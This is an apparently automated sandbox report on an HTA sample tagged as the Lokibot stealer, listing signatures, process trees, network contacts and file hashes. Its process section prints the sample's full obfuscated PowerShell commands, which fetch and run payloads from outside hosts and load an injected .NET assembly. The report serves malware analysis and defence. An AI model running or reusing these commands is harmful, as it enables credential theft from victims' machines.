Malware Analysis Report

2024-12-01 03:02

Sample ID 241108-c75tkasnhz
Target 534eb483ce1b60f8fdaf67d6a9bbbe6b100247860f85706d2a0dbd86e55de528.hta
SHA256 534eb483ce1b60f8fdaf67d6a9bbbe6b100247860f85706d2a0dbd86e55de528
Tags
defense_evasion discovery execution lokibot collection spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

534eb483ce1b60f8fdaf67d6a9bbbe6b100247860f85706d2a0dbd86e55de528

Threat Level: Known bad

The file 534eb483ce1b60f8fdaf67d6a9bbbe6b100247860f85706d2a0dbd86e55de528.hta was found to be: Known bad.

Malicious Activity Summary

defense_evasion discovery execution lokibot collection spyware stealer trojan

Lokibot

Lokibot family

Command and Scripting Interpreter: PowerShell

Evasion via Device Credential Deployment

Blocklisted process makes network request

Checks computer location settings

Accesses Microsoft Outlook profiles

Suspicious use of SetThreadContext

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

outlook_win_path

Modifies Internet Explorer settings

Modifies registry class

outlook_office_path

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-08 02:44

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-08 02:44

Reported

2024-11-08 02:46

Platform

win7-20240903-en

Max time kernel

122s

Max time network

123s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\534eb483ce1b60f8fdaf67d6a9bbbe6b100247860f85706d2a0dbd86e55de528.hta"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WScript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 764 wrote to memory of 2428 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE
PID 764 wrote to memory of 2428 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE
PID 764 wrote to memory of 2428 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE
PID 764 wrote to memory of 2428 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE
PID 2428 wrote to memory of 1164 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2428 wrote to memory of 1164 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2428 wrote to memory of 1164 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2428 wrote to memory of 1164 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2428 wrote to memory of 2760 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2428 wrote to memory of 2760 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2428 wrote to memory of 2760 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2428 wrote to memory of 2760 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2760 wrote to memory of 2860 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2760 wrote to memory of 2860 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2760 wrote to memory of 2860 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2760 wrote to memory of 2860 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2428 wrote to memory of 3048 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\SysWOW64\WScript.exe
PID 2428 wrote to memory of 3048 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\SysWOW64\WScript.exe
PID 2428 wrote to memory of 3048 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\SysWOW64\WScript.exe
PID 2428 wrote to memory of 3048 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\SysWOW64\WScript.exe
PID 3048 wrote to memory of 1612 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3048 wrote to memory of 1612 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3048 wrote to memory of 1612 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3048 wrote to memory of 1612 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1612 wrote to memory of 1364 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1612 wrote to memory of 1364 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1612 wrote to memory of 1364 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1612 wrote to memory of 1364 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\534eb483ce1b60f8fdaf67d6a9bbbe6b100247860f85706d2a0dbd86e55de528.hta"

C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE

"C:\Windows\sySTem32\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE" "POWerSHeLl -eX bYpasS -NOP -w 1 -c DEVICECReDentIaLDePloymeNt.EXE ; iEX($(iEx('[sysTEm.TeXt.eNCOdiNG]'+[CHAR]0X3A+[cHar]0X3A+'UTf8.GEtSTrINg([sysTEm.conVerT]'+[ChAr]58+[CHar]0x3A+'FrOmbASE64StriNG('+[CHar]34+'JHljNFhtWktpaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZU1CZXJEZUZpTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTE1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEphQ3p6SUFkSE9OLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhiLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFVGpGLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFhoQ0ZaKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVENKIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lc3BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aFAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHljNFhtWktpajo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguNy41Mi8xMzAvc2VldGhlYmVzdHRoaW5nc2V2ZXJtYWRld2l0aG1lY2hhcmFjdGVybmV2ZXJjaGFuZ2UudElGIiwiJGVudjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NldmVybWFkZXdpdGhtZWNoYXJhY3Rlcm5ldmVyY2gudmJzIiwwLDApO1N0QXJULXNMRUVwKDMpO3NUQVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZXZlcm1hZGV3aXRobWVjaGFyYWN0ZXJuZXZlcmNoLnZicyI='+[cHaR]34+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpasS -NOP -w 1 -c DEVICECReDentIaLDePloymeNt.EXE

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\g8xtmorc.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBFB8.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCBFB7.tmp"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seethebestthingsevermadewithmecharacterneverch.vbs"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWkNHaW1hZ2VVcmwnKycgPSBrcndodHRwczovLzEwMTcuZmlsZW1haWwuYycrJ29tJysnL2FwaS9maWxlL2dldD9maWxla2V5PTJBYV9iVycrJ285JysnUmV1NDV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0R3JuVElDZkZobVRLajMnKydMQzZTUXRJY09jX1QzNXcmcGtfdmlkPWZkNGY2MScrJzRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDQnKydmIGtydztaQ0d3ZWJDbGllbicrJ3QgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuVycrJ2ViQ2xpZW50O1pDR2ltYWdlQnl0ZXMgPSBaQ0d3ZWJDbGllbnQuRG93bmxvYWREYScrJ3RhKFpDR2ltYWdlVXJsKTtaQ0dpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhaQ0dpbWFnJysnZUJ5dGVzKTtaQ0dzdGEnKydydEZsYWcgPSBrcnc8PEJBU0U2NF9TVEFSVD4+a3J3O1pDR2VuZEZsYWcgPSBrJysncnc8PEJBUycrJ0U2NCcrJ19FTkQ+PmtydztaQ0dzdGFydEknKyduZGV4ID0gWkNHaW1hZ2VUZXh0LkluZGV4T2YoWkNHc3RhcnRGbGFnKTtaQ0dlbmRJbmRlJysneCA9IFpDR2ltYWcnKydlVGV4dC5JbmRleE9mKFpDR2VuZEZsYWcpO1pDR3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBaQ0dlbmRJbmRleCAtZ3QgWkNHc3RhcnRJbmRleDtaQ0dzdGFydEluZGV4ICs9IFpDR3MnKyd0YXJ0RmxhZy5MZW5ndGg7WkNHYmFzZTY0TGVuZ3RoID0gWkNHZW5kSW5kZXggLSBaQ0dzdGFydEluZGV4O1pDR2Jhc2U2NENvbW0nKydhbmQgPSBaQ0dpbWFnZVRleHQuU3Vic3RyaW5nKFpDR3N0YXInKyd0SW5kZXgsIFpDR2Jhc2U2NExlbmd0aCk7WicrJ0NHYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoWkNHYmFzZTY0QycrJ29tbWFuZC5UbycrJ0NoYXJBcnJheSgpIFpXMyBGb3JFYWNoLU9iamVjdCB7IFpDR18gfSlbLTEuLi0oWkNHYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtaQ0djb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3QnKydyaW5nKFpDR2Jhc2U2NFJldmVycycrJ2VkKTtaQ0dsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGknKydvbi5Bc3NlbWJseV06OkxvYWQoJysnWkNHY29tbWFuZEJ5dGVzKTtaQ0d2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGtyd1ZBSWtyJysndyk7WkMnKydHdmFpTWV0aG9kLkludm9rZShaQ0dudWxsLCBAKGtyd3R4dCcrJy5MRUxMUE1TLzAnKyczMS8yNS43Ljg2MS40MDEvLzpwdHRoa3J3LCBrcncnKydkZXNhdGl2YWRvJysna3J3LCBrcndkZXNhdGl2YWRva3J3LCBrcndkZXNhdGl2YWRva3J3LCBrcndhc3BuZXRfcmVnYnJvd3NlcnNrcncsIGtyd2Rlc2F0aXZhZG9rJysncncsIGtyd2Rlc2F0aXZhZG9rcncsa3J3ZGVzYXRpdmFkb2tydyxrcndkZXNhdGknKyd2YWRva3J3LGtyd2Rlc2F0aXZhZG9rcncsa3J3ZGVzYXRpdmFkb2tydyxrcndkZXNhdGl2YWRva3InKyd3LGtydzFrcncsa3J3JysnZGVzYXRpdmFkb2tydykpJysnOycpLXJlUGxBQ0UnWkNHJyxbQ2hhcl0zNiAgLWNSZXBsQWNFICAoW0NoYXJdOTArW0NoYXJdODcrW0NoYXJdNTEpLFtDaGFyXTEyNC1jUmVwbEFjRSdrcncnLFtDaGFyXTM5KXwmICggJEVOdjpjb21TcEVDWzQsMjYsMjVdLWpvaW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('ZCGimageUrl'+' = krwhttps://1017.filemail.c'+'om'+'/api/file/get?filekey=2Aa_bW'+'o9'+'Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3'+'LC6SQtIcOc_T35w&pk_vid=fd4f61'+'4bb209c62c1730945176a0904'+'f krw;ZCGwebClien'+'t = New-Object System.Net.W'+'ebClient;ZCGimageBytes = ZCGwebClient.DownloadDa'+'ta(ZCGimageUrl);ZCGimageText = [System.Text.Encoding]::UTF8.GetString(ZCGimag'+'eBytes);ZCGsta'+'rtFlag = krw<<BASE64_START>>krw;ZCGendFlag = k'+'rw<<BAS'+'E64'+'_END>>krw;ZCGstartI'+'ndex = ZCGimageText.IndexOf(ZCGstartFlag);ZCGendInde'+'x = ZCGimag'+'eText.IndexOf(ZCGendFlag);ZCGstartIndex -ge 0 -and ZCGendIndex -gt ZCGstartIndex;ZCGstartIndex += ZCGs'+'tartFlag.Length;ZCGbase64Length = ZCGendIndex - ZCGstartIndex;ZCGbase64Comm'+'and = ZCGimageText.Substring(ZCGstar'+'tIndex, ZCGbase64Length);Z'+'CGbase64Reversed = -join (ZCGbase64C'+'ommand.To'+'CharArray() ZW3 ForEach-Object { ZCG_ })[-1..-(ZCGbase64Command.Length)];ZCGcommandBytes = [System.Convert]::FromBase64St'+'ring(ZCGbase64Revers'+'ed);ZCGloadedAssembly = [System.Reflecti'+'on.Assembly]::Load('+'ZCGcommandBytes);ZCGvaiMethod = [dnlib.IO.Home].GetMethod(krwVAIkr'+'w);ZC'+'GvaiMethod.Invoke(ZCGnull, @(krwtxt'+'.LELLPMS/0'+'31/25.7.861.401//:ptthkrw, krw'+'desativado'+'krw, krwdesativadokrw, krwdesativadokrw, krwaspnet_regbrowserskrw, krwdesativadok'+'rw, krwdesativadokrw,krwdesativadokrw,krwdesati'+'vadokrw,krwdesativadokrw,krwdesativadokrw,krwdesativadokr'+'w,krw1krw,krw'+'desativadokrw))'+';')-rePlACE'ZCG',[Char]36 -cReplAcE ([Char]90+[Char]87+[Char]51),[Char]124-cReplAcE'krw',[Char]39)|& ( $ENv:comSpEC[4,26,25]-join'')"

Network

Country Destination Domain Proto
US 104.168.7.52:80 104.168.7.52 tcp
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 142.215.209.78:443 1017.filemail.com tcp

Files

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 0e76f58775661ed0bbd3dc9dde26d9b7
SHA1 78a64806cfec9afa731b299159074c57bcda0405
SHA256 35a4261540db80a20c5c22f8f5c7db118bd8e85821cd9444008df5aa1d26f94d
SHA512 7290aadbd22914f06eb477b9225c8f42f287f9ae91043906d46479a7ec7853910abab432b982a553bf9f9f75699ce4de968940ee1ba9073e8efe17350f191547

\??\c:\Users\Admin\AppData\Local\Temp\g8xtmorc.cmdline

MD5 51e553c8049ae91b4f913c395a474ba8
SHA1 aa9e10f446c288c7e7aed1125a8a014b0e86662c
SHA256 b87bc11ffa5cb5b88d7eebacb61840f0d010c331eb108251cfad073dda796e44
SHA512 c3be4bb08408021a73dc69166c98fd3b6f88a9402038e3fde030b7676709e32880ff42682fdec41fb5905400d7c8c37c8e8c0e85762b81cd235278fe08ead7f2

\??\c:\Users\Admin\AppData\Local\Temp\g8xtmorc.0.cs

MD5 e090c5c356e4a5968670e0e1d5b7061a
SHA1 58e057fd814332db04008226b600f24678a74884
SHA256 dfda423d8587c14087a2e1610cbf9a38a780afb0974fa39be6b275f375153d20
SHA512 35a2f34fdfeefdcd297aa7ad6f8a2f833885fec60cd4f7798568e9e11294d352dc665d215bb7b7b27ffe5124b6f85c912e2445839167128b397965c1c2eb4217

\??\c:\Users\Admin\AppData\Local\Temp\CSCBFB7.tmp

MD5 2c94c2a91f6351d76ddf28bbf475d17e
SHA1 e6c22f1dfc7d940729879b3ba736bb6de4e9e242
SHA256 6fefc2099e7a1d43730a298b2b07dbb52d090a5e563cd7d94224c615c21b56ea
SHA512 ec7a41fe1d618ea6a26e28f3ca6c86d5f3c73a90a02cfcecb84d02481f7d10d3922bb08641373fbcf1f5d6b695a5976e89388f2c4afd1a96474af548cf4f383a

C:\Users\Admin\AppData\Local\Temp\g8xtmorc.dll

MD5 403da07915d6a22e3d8e6cddc6b086ea
SHA1 103c909776feebe8363e338223004f57fe341820
SHA256 7c51b375b2cf7b7ab07a3be54def6ff03a5502de17cc9a3ccac1a1477eb3bbd8
SHA512 1dbdad91149e5f80a2ffd2e2dafa5f4160908a6a99540ccc17ee6677e368cfe40324cbdbbb0f4eb73bb21a5be844522e7c2282fc3c487393e6679e2b4ccd2f8f

C:\Users\Admin\AppData\Local\Temp\RESBFB8.tmp

MD5 c058e114de7e01e10854800eef4a2d6d
SHA1 c560d469ec4cc748ad5a53e670bda880737738a1
SHA256 b35b84e9d8b9267e4fcc1663bf225e3dd16d2a93444684be0a1dc09ae85c172c
SHA512 2d62f826d91ef3caa9b3655360a8851de58e8114059b767442c085d132d32f066e9898d0ace030460b71049e2fa03fa41b763680a615718d918bae4024b91a58

C:\Users\Admin\AppData\Local\Temp\g8xtmorc.pdb

MD5 43d8a626a1786a1d83b134fd11994f40
SHA1 6cb96b5ff29650aa28a69963107f45433a722c0a
SHA256 8abd95ab560aa7b6a95eaefa626121987f99d8c4bc7a7e5545c7340adb16eb9d
SHA512 3c22f79a0de307ae66f523c84d5642db159ae619450820bfb6598c0027848e765cf4ee12dea4d6891a684b344a8848f3f4b1cb1a1140e9dc929584c4023aa19d

C:\Users\Admin\AppData\Roaming\seethebestthingsevermadewithmecharacterneverch.vbs

MD5 53d91892aead994ebd8ddc00f67b3d20
SHA1 817443e7db1cf26edb38767a540f834ba284d4df
SHA256 a8db688b3aeb1886027644bc593ee1d43a78ae0137d53bba4d62ec186da9fd06
SHA512 e024d38488a9b1778fc2a3efcb10afd6121d7b923c710b9e843f31c367de80f052269cbae90665e4778cdbc563668e543e1aa40f63cf5374bcc7370a63314d08

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-08 02:44

Reported

2024-11-08 02:46

Platform

win10v2004-20241007-en

Max time kernel

100s

Max time network

140s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\534eb483ce1b60f8fdaf67d6a9bbbe6b100247860f85706d2a0dbd86e55de528.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

Lokibot

trojan spyware stealer lokibot

Lokibot family

lokibot

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\WScript.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2652 set thread context of 4044 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WScript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4552 wrote to memory of 3216 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE
PID 4552 wrote to memory of 3216 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE
